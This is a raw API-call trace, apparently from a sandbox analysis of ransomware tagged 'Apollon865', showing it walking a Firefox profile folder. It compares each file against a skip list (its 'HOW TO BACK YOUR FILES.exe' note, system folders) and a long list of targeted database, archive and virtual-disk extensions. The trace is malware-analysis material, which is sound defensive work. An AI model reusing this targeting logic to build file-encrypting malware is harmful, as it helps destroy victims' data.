	[0042.177] CloseHandle (hObject=0x154) returned 1
	[0042.177] CloseHandle (hObject=0x158) returned 1
	[0042.582] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0042.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0042.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0042.592] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81fbde30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81fbde30, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81fbde30, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pluginreg.dat", cAlternateFileName="PLUGIN~1.DAT")) returned 1
	[0042.592] lstrcmpiW (lpString1="pluginreg.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.592] lstrcmpiW (lpString1="pluginreg.dat", lpString2="Apollon865.txt.exe") returned 1
	[0042.592] lstrcmpiW (lpString1="pluginreg.dat", lpString2=".") returned 1
	[0042.592] lstrcmpiW (lpString1="pluginreg.dat", lpString2="..") returned 1
	[0042.592] lstrcmpiW (lpString1="pluginreg.dat", lpString2="windows") returned -1
	[0042.592] lstrcmpiW (lpString1="pluginreg.dat", lpString2="bootmgr") returned 1
	[0042.592] lstrcmpiW (lpString1="pluginreg.dat", lpString2="temp") returned -1
	[0042.592] lstrcmpiW (lpString1="pluginreg.dat", lpString2="pagefile.sys") returned 1
	[0042.593] lstrcmpiW (lpString1="pluginreg.dat", lpString2="boot") returned 1
	[0042.593] lstrcmpiW (lpString1="pluginreg.dat", lpString2="ids.txt") returned 1
	[0042.593] lstrcmpiW (lpString1="pluginreg.dat", lpString2="ntuser.dat") returned 1
	[0042.593] lstrcmpiW (lpString1="pluginreg.dat", lpString2="perflogs") returned 1
	[0042.593] lstrcmpiW (lpString1="pluginreg.dat", lpString2="MSBuild") returned 1
	[0042.593] lstrlenW (lpString="pluginreg.dat") returned 13
	[0042.593] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite") returned 101
	[0042.593] lstrcpyW (in: lpString1=0x2d3e600, lpString2="pluginreg.dat" | out: lpString1="pluginreg.dat") returned="pluginreg.dat"
	[0042.593] lstrlenW (lpString="pluginreg.dat") returned 13
	[0042.593] lstrlenW (lpString="Apollon865") returned 10
	[0042.593] lstrcmpiW (lpString1="ginreg.dat", lpString2="Apollon865") returned 1
	[0042.593] lstrlenW (lpString=".dll") returned 4
	[0042.593] lstrcmpiW (lpString1="pluginreg.dat", lpString2=".dll") returned 1
	[0042.593] lstrlenW (lpString=".lnk") returned 4
	[0042.593] lstrcmpiW (lpString1="pluginreg.dat", lpString2=".lnk") returned 1
	[0042.593] lstrlenW (lpString=".ini") returned 4
	[0042.593] lstrcmpiW (lpString1="pluginreg.dat", lpString2=".ini") returned 1
	[0042.593] lstrlenW (lpString=".sys") returned 4
	[0042.593] lstrcmpiW (lpString1="pluginreg.dat", lpString2=".sys") returned 1
	[0042.593] lstrlenW (lpString="pluginreg.dat") returned 13
	[0042.593] lstrlenW (lpString="bak") returned 3
	[0042.593] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0042.593] lstrlenW (lpString="ba_") returned 3
	[0042.593] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0042.593] lstrlenW (lpString="dbb") returned 3
	[0042.593] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0042.593] lstrlenW (lpString="vmdk") returned 4
	[0042.593] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0042.593] lstrlenW (lpString="rar") returned 3
	[0042.593] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0042.593] lstrlenW (lpString="zip") returned 3
	[0042.593] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0042.593] lstrlenW (lpString="tgz") returned 3
	[0042.593] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0042.593] lstrlenW (lpString="vbox") returned 4
	[0042.593] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0042.593] lstrlenW (lpString="vdi") returned 3
	[0042.593] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0042.593] lstrlenW (lpString="vhd") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0042.594] lstrlenW (lpString="vhdx") returned 4
	[0042.594] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0042.594] lstrlenW (lpString="avhd") returned 4
	[0042.594] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0042.594] lstrlenW (lpString="db") returned 2
	[0042.594] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0042.594] lstrlenW (lpString="db2") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0042.594] lstrlenW (lpString="db3") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0042.594] lstrlenW (lpString="dbf") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0042.594] lstrlenW (lpString="mdf") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0042.594] lstrlenW (lpString="mdb") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0042.594] lstrlenW (lpString="sql") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0042.594] lstrlenW (lpString="sqlite") returned 6
	[0042.594] lstrcmpiW (lpString1="eg.dat", lpString2="sqlite") returned -1
	[0042.594] lstrlenW (lpString="sqlite3") returned 7
	[0042.594] lstrcmpiW (lpString1="reg.dat", lpString2="sqlite3") returned -1
	[0042.594] lstrlenW (lpString="sqlitedb") returned 8
	[0042.594] lstrcmpiW (lpString1="nreg.dat", lpString2="sqlitedb") returned -1
	[0042.594] lstrlenW (lpString="xml") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0042.594] lstrlenW (lpString="$er") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0042.594] lstrlenW (lpString="4dd") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0042.594] lstrlenW (lpString="4dl") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0042.594] lstrlenW (lpString="^^^") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0042.594] lstrlenW (lpString="abs") returned 3
	[0042.594] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0042.594] lstrlenW (lpString="abx") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0042.595] lstrlenW (lpString="accdb") returned 5
	[0042.595] lstrcmpiW (lpString1="g.dat", lpString2="accdb") returned 1
	[0042.595] lstrlenW (lpString="accdc") returned 5
	[0042.595] lstrcmpiW (lpString1="g.dat", lpString2="accdc") returned 1
	[0042.595] lstrlenW (lpString="accde") returned 5
	[0042.595] lstrcmpiW (lpString1="g.dat", lpString2="accde") returned 1
	[0042.595] lstrlenW (lpString="accdr") returned 5
	[0042.595] lstrcmpiW (lpString1="g.dat", lpString2="accdr") returned 1
	[0042.595] lstrlenW (lpString="accdt") returned 5
	[0042.595] lstrcmpiW (lpString1="g.dat", lpString2="accdt") returned 1
	[0042.595] lstrlenW (lpString="accdw") returned 5
	[0042.595] lstrcmpiW (lpString1="g.dat", lpString2="accdw") returned 1
	[0042.595] lstrlenW (lpString="accft") returned 5
	[0042.595] lstrcmpiW (lpString1="g.dat", lpString2="accft") returned 1
	[0042.595] lstrlenW (lpString="adb") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0042.595] lstrlenW (lpString="adb") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0042.595] lstrlenW (lpString="ade") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0042.595] lstrlenW (lpString="adf") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0042.595] lstrlenW (lpString="adn") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0042.595] lstrlenW (lpString="adp") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0042.595] lstrlenW (lpString="alf") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0042.595] lstrlenW (lpString="ask") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0042.595] lstrlenW (lpString="btr") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0042.595] lstrlenW (lpString="cat") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0042.595] lstrlenW (lpString="cdb") returned 3
	[0042.595] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0042.595] lstrlenW (lpString="ckp") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0042.596] lstrlenW (lpString="cma") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0042.596] lstrlenW (lpString="cpd") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0042.596] lstrlenW (lpString="dacpac") returned 6
	[0042.596] lstrcmpiW (lpString1="eg.dat", lpString2="dacpac") returned 1
	[0042.596] lstrlenW (lpString="dad") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0042.596] lstrlenW (lpString="dadiagrams") returned 10
	[0042.596] lstrcmpiW (lpString1="ginreg.dat", lpString2="dadiagrams") returned 1
	[0042.596] lstrlenW (lpString="daschema") returned 8
	[0042.596] lstrcmpiW (lpString1="nreg.dat", lpString2="daschema") returned 1
	[0042.596] lstrlenW (lpString="db-journal") returned 10
	[0042.596] lstrcmpiW (lpString1="ginreg.dat", lpString2="db-journal") returned 1
	[0042.596] lstrlenW (lpString="db-shm") returned 6
	[0042.596] lstrcmpiW (lpString1="eg.dat", lpString2="db-shm") returned 1
	[0042.596] lstrlenW (lpString="db-wal") returned 6
	[0042.596] lstrcmpiW (lpString1="eg.dat", lpString2="db-wal") returned 1
	[0042.596] lstrlenW (lpString="dbc") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0042.596] lstrlenW (lpString="dbs") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0042.596] lstrlenW (lpString="dbt") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0042.596] lstrlenW (lpString="dbv") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0042.596] lstrlenW (lpString="dbx") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0042.596] lstrlenW (lpString="dcb") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0042.596] lstrlenW (lpString="dct") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0042.596] lstrlenW (lpString="dcx") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0042.596] lstrlenW (lpString="ddl") returned 3
	[0042.596] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0042.596] lstrlenW (lpString="dlis") returned 4
	[0042.596] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0042.597] lstrlenW (lpString="dp1") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0042.597] lstrlenW (lpString="dqy") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0042.597] lstrlenW (lpString="dsk") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0042.597] lstrlenW (lpString="dsn") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0042.597] lstrlenW (lpString="dtsx") returned 4
	[0042.597] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0042.597] lstrlenW (lpString="dxl") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0042.597] lstrlenW (lpString="eco") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0042.597] lstrlenW (lpString="ecx") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0042.597] lstrlenW (lpString="edb") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0042.597] lstrlenW (lpString="epim") returned 4
	[0042.597] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0042.597] lstrlenW (lpString="fcd") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0042.597] lstrlenW (lpString="fdb") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0042.597] lstrlenW (lpString="fic") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0042.597] lstrlenW (lpString="flexolibrary") returned 12
	[0042.597] lstrcmpiW (lpString1="luginreg.dat", lpString2="flexolibrary") returned 1
	[0042.597] lstrlenW (lpString="fm5") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0042.597] lstrlenW (lpString="fmp") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0042.597] lstrlenW (lpString="fmp12") returned 5
	[0042.597] lstrcmpiW (lpString1="g.dat", lpString2="fmp12") returned 1
	[0042.597] lstrlenW (lpString="fmpsl") returned 5
	[0042.597] lstrcmpiW (lpString1="g.dat", lpString2="fmpsl") returned 1
	[0042.597] lstrlenW (lpString="fol") returned 3
	[0042.597] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0042.598] lstrlenW (lpString="fp3") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0042.598] lstrlenW (lpString="fp4") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0042.598] lstrlenW (lpString="fp5") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0042.598] lstrlenW (lpString="fp7") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0042.598] lstrlenW (lpString="fpt") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0042.598] lstrlenW (lpString="frm") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0042.598] lstrlenW (lpString="gdb") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0042.598] lstrlenW (lpString="gdb") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0042.598] lstrlenW (lpString="grdb") returned 4
	[0042.598] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0042.598] lstrlenW (lpString="gwi") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0042.598] lstrlenW (lpString="hdb") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0042.598] lstrlenW (lpString="his") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0042.598] lstrlenW (lpString="ib") returned 2
	[0042.598] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0042.598] lstrlenW (lpString="idb") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0042.598] lstrlenW (lpString="ihx") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0042.598] lstrlenW (lpString="itdb") returned 4
	[0042.598] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0042.598] lstrlenW (lpString="itw") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0042.598] lstrlenW (lpString="jet") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0042.598] lstrlenW (lpString="jtx") returned 3
	[0042.598] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0042.598] lstrlenW (lpString="kdb") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0042.599] lstrlenW (lpString="kexi") returned 4
	[0042.599] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0042.599] lstrlenW (lpString="kexic") returned 5
	[0042.599] lstrcmpiW (lpString1="g.dat", lpString2="kexic") returned -1
	[0042.599] lstrlenW (lpString="kexis") returned 5
	[0042.599] lstrcmpiW (lpString1="g.dat", lpString2="kexis") returned -1
	[0042.599] lstrlenW (lpString="lgc") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0042.599] lstrlenW (lpString="lwx") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0042.599] lstrlenW (lpString="maf") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0042.599] lstrlenW (lpString="maq") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0042.599] lstrlenW (lpString="mar") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0042.599] lstrlenW (lpString="marshal") returned 7
	[0042.599] lstrcmpiW (lpString1="reg.dat", lpString2="marshal") returned 1
	[0042.599] lstrlenW (lpString="mas") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0042.599] lstrlenW (lpString="mav") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0042.599] lstrlenW (lpString="maw") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0042.599] lstrlenW (lpString="mdbhtml") returned 7
	[0042.599] lstrcmpiW (lpString1="reg.dat", lpString2="mdbhtml") returned 1
	[0042.599] lstrlenW (lpString="mdn") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0042.599] lstrlenW (lpString="mdt") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0042.599] lstrlenW (lpString="mfd") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0042.599] lstrlenW (lpString="mpd") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0042.599] lstrlenW (lpString="mrg") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0042.599] lstrlenW (lpString="mud") returned 3
	[0042.599] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0042.600] lstrlenW (lpString="mwb") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0042.600] lstrlenW (lpString="myd") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0042.600] lstrlenW (lpString="ndf") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0042.600] lstrlenW (lpString="nnt") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0042.600] lstrlenW (lpString="nrmlib") returned 6
	[0042.600] lstrcmpiW (lpString1="eg.dat", lpString2="nrmlib") returned -1
	[0042.600] lstrlenW (lpString="ns2") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0042.600] lstrlenW (lpString="ns3") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0042.600] lstrlenW (lpString="ns4") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0042.600] lstrlenW (lpString="nsf") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0042.600] lstrlenW (lpString="nv") returned 2
	[0042.600] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0042.600] lstrlenW (lpString="nv2") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0042.600] lstrlenW (lpString="nwdb") returned 4
	[0042.600] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0042.600] lstrlenW (lpString="nyf") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0042.600] lstrlenW (lpString="odb") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0042.600] lstrlenW (lpString="odb") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0042.600] lstrlenW (lpString="oqy") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0042.600] lstrlenW (lpString="ora") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0042.600] lstrlenW (lpString="orx") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0042.600] lstrlenW (lpString="owc") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0042.600] lstrlenW (lpString="p96") returned 3
	[0042.600] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0042.601] lstrlenW (lpString="p97") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0042.601] lstrlenW (lpString="pan") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0042.601] lstrlenW (lpString="pdb") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0042.601] lstrlenW (lpString="pdm") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0042.601] lstrlenW (lpString="pnz") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0042.601] lstrlenW (lpString="qry") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0042.601] lstrlenW (lpString="qvd") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0042.601] lstrlenW (lpString="rbf") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0042.601] lstrlenW (lpString="rctd") returned 4
	[0042.601] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0042.601] lstrlenW (lpString="rod") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0042.601] lstrlenW (lpString="rodx") returned 4
	[0042.601] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0042.601] lstrlenW (lpString="rpd") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0042.601] lstrlenW (lpString="rsd") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0042.601] lstrlenW (lpString="sas7bdat") returned 8
	[0042.601] lstrcmpiW (lpString1="nreg.dat", lpString2="sas7bdat") returned -1
	[0042.601] lstrlenW (lpString="sbf") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0042.601] lstrlenW (lpString="scx") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0042.601] lstrlenW (lpString="sdb") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0042.601] lstrlenW (lpString="sdc") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0042.601] lstrlenW (lpString="sdf") returned 3
	[0042.601] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0042.601] lstrlenW (lpString="sis") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0042.602] lstrlenW (lpString="spq") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0042.602] lstrlenW (lpString="te") returned 2
	[0042.602] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0042.602] lstrlenW (lpString="teacher") returned 7
	[0042.602] lstrcmpiW (lpString1="reg.dat", lpString2="teacher") returned -1
	[0042.602] lstrlenW (lpString="tmd") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0042.602] lstrlenW (lpString="tps") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0042.602] lstrlenW (lpString="trc") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0042.602] lstrlenW (lpString="trc") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0042.602] lstrlenW (lpString="trm") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0042.602] lstrlenW (lpString="udb") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0042.602] lstrlenW (lpString="udl") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0042.602] lstrlenW (lpString="usr") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0042.602] lstrlenW (lpString="v12") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0042.602] lstrlenW (lpString="vis") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0042.602] lstrlenW (lpString="vpd") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0042.602] lstrlenW (lpString="vvv") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0042.602] lstrlenW (lpString="wdb") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0042.602] lstrlenW (lpString="wmdb") returned 4
	[0042.602] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0042.602] lstrlenW (lpString="wrk") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0042.602] lstrlenW (lpString="xdb") returned 3
	[0042.602] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0042.603] lstrlenW (lpString="xld") returned 3
	[0042.603] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0042.603] lstrlenW (lpString="xmlff") returned 5
	[0042.603] lstrcmpiW (lpString1="g.dat", lpString2="xmlff") returned -1
	[0042.603] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84c85c10, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x853f60d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x12069be0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0xfde, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prefs.js", cAlternateFileName="")) returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="Apollon865.txt.exe") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2=".") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="..") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="windows") returned -1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="bootmgr") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="temp") returned -1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="pagefile.sys") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="boot") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="ids.txt") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="ntuser.dat") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="perflogs") returned 1
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2="MSBuild") returned 1
	[0042.603] lstrlenW (lpString="prefs.js") returned 8
	[0042.603] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat") returned 101
	[0042.603] lstrcpyW (in: lpString1=0x2d3e600, lpString2="prefs.js" | out: lpString1="prefs.js") returned="prefs.js"
